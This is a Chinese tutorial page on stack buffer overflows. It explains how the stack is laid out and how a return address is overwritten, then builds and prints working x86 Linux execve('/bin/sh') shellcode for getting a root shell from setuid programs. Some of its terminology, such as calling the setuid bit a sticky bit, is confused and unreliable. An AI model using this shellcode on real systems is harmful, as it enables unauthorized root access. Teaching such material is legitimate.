分享
 
 
 

溢出原理讲解

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

备注:此处说讲的溢出主要针对堆栈溢出的攻击实现。

一:基础知识

计算机内存运行分配的区域分为3个

程序段区域:不允许写的

数据段区域:静态全局变量是位于数据段并且在程序开始运行的时候被加载

堆栈区域:放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的操作push=ESP-4,出栈的操作是pop=ESP+4.

在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。

在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压b,最后a.在取参数的时候,

指令执行的图例:

指令区域

执行程序区

0 1 2 3

0

4

8 调用100处的函数,参数1(3位),2(10位)

C

10

0 1 2 3

100 执行处理

104

108

10C

110 返回调用

堆栈区域

0 1 2 3

如果EBP分配的空间不够操作就是产生溢出的地方

200 保存以前的EBP4位(数据段的指针,用于可以使用局部动态

变量)现在的EBP等于当前的ESP-动态数据的大小值 ,

ESP=200

204 0C 00 00 00

此处是程序的返回地址

208 参数1,填充1位

20C 参数2填充2位

210

讲解例子WIN下的程序DEMO,演示参数导致的返回地址的变化

讲清主要4位的填充问题

另外溢出还会导致数据段的改变

3:如何利用堆栈溢出

原理可以概括为:由于字符串处理函数(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界,覆盖堆栈中的老元素的值,就可以修改返回地址。 在DEMO的例子中,这导致CPU去访问一个不存在的指令,结果出错。事实上,我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。

那么有什么用呢,就算使得我们的程序可以跳转执行一些代码,如何用他来突破系统限制来获得权限呢?

二:系统权限知识

UNIX系统在运行的时候的权限检查主要是根据UID,GID,SID 三个标来检查的,主要根据SID来检查权限

SU系统调用就是SID变成SU的对象

S粘贴位使得运行程序的人具有该程序拥有者一样的权限

中断ROOT的S粘贴位的程序就可以获得超级用户的权限,SID位置没被调用返回修改回来。

VI的S粘贴位可以中断的例子

在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得root shell。

三:溢出突破权限的实现

首先要编写SHELLCODE的2进制代码作为溢出的参数进行传入:

shellcode的C程序

注意:execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。

我们来看以看execve的汇编代码:

0x804ce7c : push %ebp ‘保存以前的数据段地址

0x804ce7d : mov %esp,%ebp ‘使得当前数据段指向堆栈

0x804ce7f : push %edi

0x804ce80 : push %ebx ‘保存

0x804ce81 : mov 0x8(%ebp),%edi ‘ebp+8是第一个参数"/bin/sh\0"

0x804ce84 : mov $0x0,%eax ‘清0

0x804ce89 : test %eax,%eax

0x804ce8b : je 0x804ce92

0x804ce8d : call 0x0

0x804ce92 : mov 0xc(%ebp),%ecx ‘设置NAME[0]参数,4字节对齐

0x804ce95 : mov 0x10(%ebp),%edx,设置NAME[1]参数,4字节对齐

0x804ce98 : push %ebx

0x804ce99 : mov %edi,%ebx

0x804ce9b : mov $0xb,%eax ‘设置XB号调用

0x804cea0 : int $0x80 ‘调用执行

0x804cea2 : pop %ebx

0x804cea3 : mov %eax,%ebx

0x804cea5 : cmp $0xfffff000,%ebx

0x804ceab : jbe 0x804cebb

0x804cead : call 0x8048324

0x804ceb2 : neg %ebx

0x804ceb4 : mov %ebx,(%eax)

0x804ceb6 : mov $0xffffffff,%ebx

0x804cebb : mov %ebx,%eax

0x804cebd : lea 0xfffffff8(%ebp),%esp

0x804cec0 : pop %ebx

0x804cec1 : pop %edi

0x804cec2 : leave

0x804cec3 : ret

精练的调用方法是

0x804ce92 : mov 0xc(%ebp),%ecx ‘设置NAME[0]参数,4字节对齐

0x804ce95 : mov 0x10(%ebp),%edx,设置NAME[1]参数,4字节对齐

0x804ce9b : mov $0xb,%eax ‘设置XB号调用

0x804cea0 : int $0x80 ‘调用执行

另外要执行一个exit()系统调用,结束shellcode的执行。

0x804ce60 : mov %ebx,%edx

0x804ce62 : mov 0x4(%esp,1),%ebx 设置参数0

0x804ce66 : mov $0x1,%eax ‘1号调用

0x804ce6b : int $0x80

0x804ce6d : mov %edx,%ebx

0x804ce6f : cmp $0xfffff001,%eax

0x804ce74 : jae 0x804d260

那么总结一下,合成的汇编代码为:

mov 0xc(%ebp),%ecx

mov 0x10(%ebp),%edx

mov $0xb,%eax

int $0x80

mov 0x4(%esp,1),%ebx

mov $0x1,%eax

int $0x80

但问题在于我们必须把这个程序作为字符串的参数传给溢出的程序进行调用,如何来分配和定位字符串“/bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。

利用call压入下一条语句的返回地址,把数据作为下一条指令我们就可以达到目的。

Jmp CALL

Popl %esi ‘利用CALL弹出压入的下一条语句的地址,其实就是我们构造的字符串的地址

movb $0x0,0x7(%esi) ‘输入0的字符串为结尾

mov %esi,0X8 (%esi) ‘构造NAME数组,放如字串的地址作为NAME[0]

mov $0x0,0xc(%esi) ‘构造NAME[1]为NULL, NAME[0]为4位地址,所以偏移为0xc

mov %esi,%ebx ‘设置数据段开始的地址

leal 0x8(%esi),%ecx ‘设置参数1

leal 0xc(%esi),%edx ‘设置参数2

mov $0xb,%eax ‘设置调用号

int $0x80 ‘调用

mov $0x0,%ebx

mov $0x1,%eax

int $0x80

Call popl

.string \"/bin/sh\"

然后通过C编译器编写MYSHELLASM.C

运行出错,原因代码段不允许进行修改,但是对于我们溢出是可以的,原因在于溢出是在数据段运行的,通过GDB查看16进制码,倒出ASCII字符写出TEST.C程序来验证MYSHELLASM可以运行

ret = (int *)&ret + 2; //ret 等于main()执行完后的返回系统的地址

//(+2是因为:有pushl ebp ,否则加1就可以了。)

但是在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,以"\0" 为字符串结尾。遇\0就结束了写操作。Myshell中有0X00的字符存在。

把所有赋予0的操作用异或或者MOV已知为0的寄存器赋值来完成

jmp 0x1f

popl %esi

movl %esi,0x8(%esi)

xorl %eax,%eax

movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

movb $0xb,%al

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xc(%esi),%edx

int $0x80

xorl %ebx,%ebx

movl %ebx,%eax

inc %eax

int $0x80

call -0x24

.string \"/bin/sh\"

汇编得出的

shellcode =

"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"

"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

我们开始来写一个攻击DEMO溢出的例子

1:把我们的shellcode提供给他,让他可以访问shellcode。

2:修改他的返回地址为shellcode的入口地址。

对于strcpy函数,我们要知道被溢出的缓冲的的地址。对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址,来知道了目标程序堆栈的开始地址。

(所有C函数的返回值都放在eax 寄存器 里面):

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有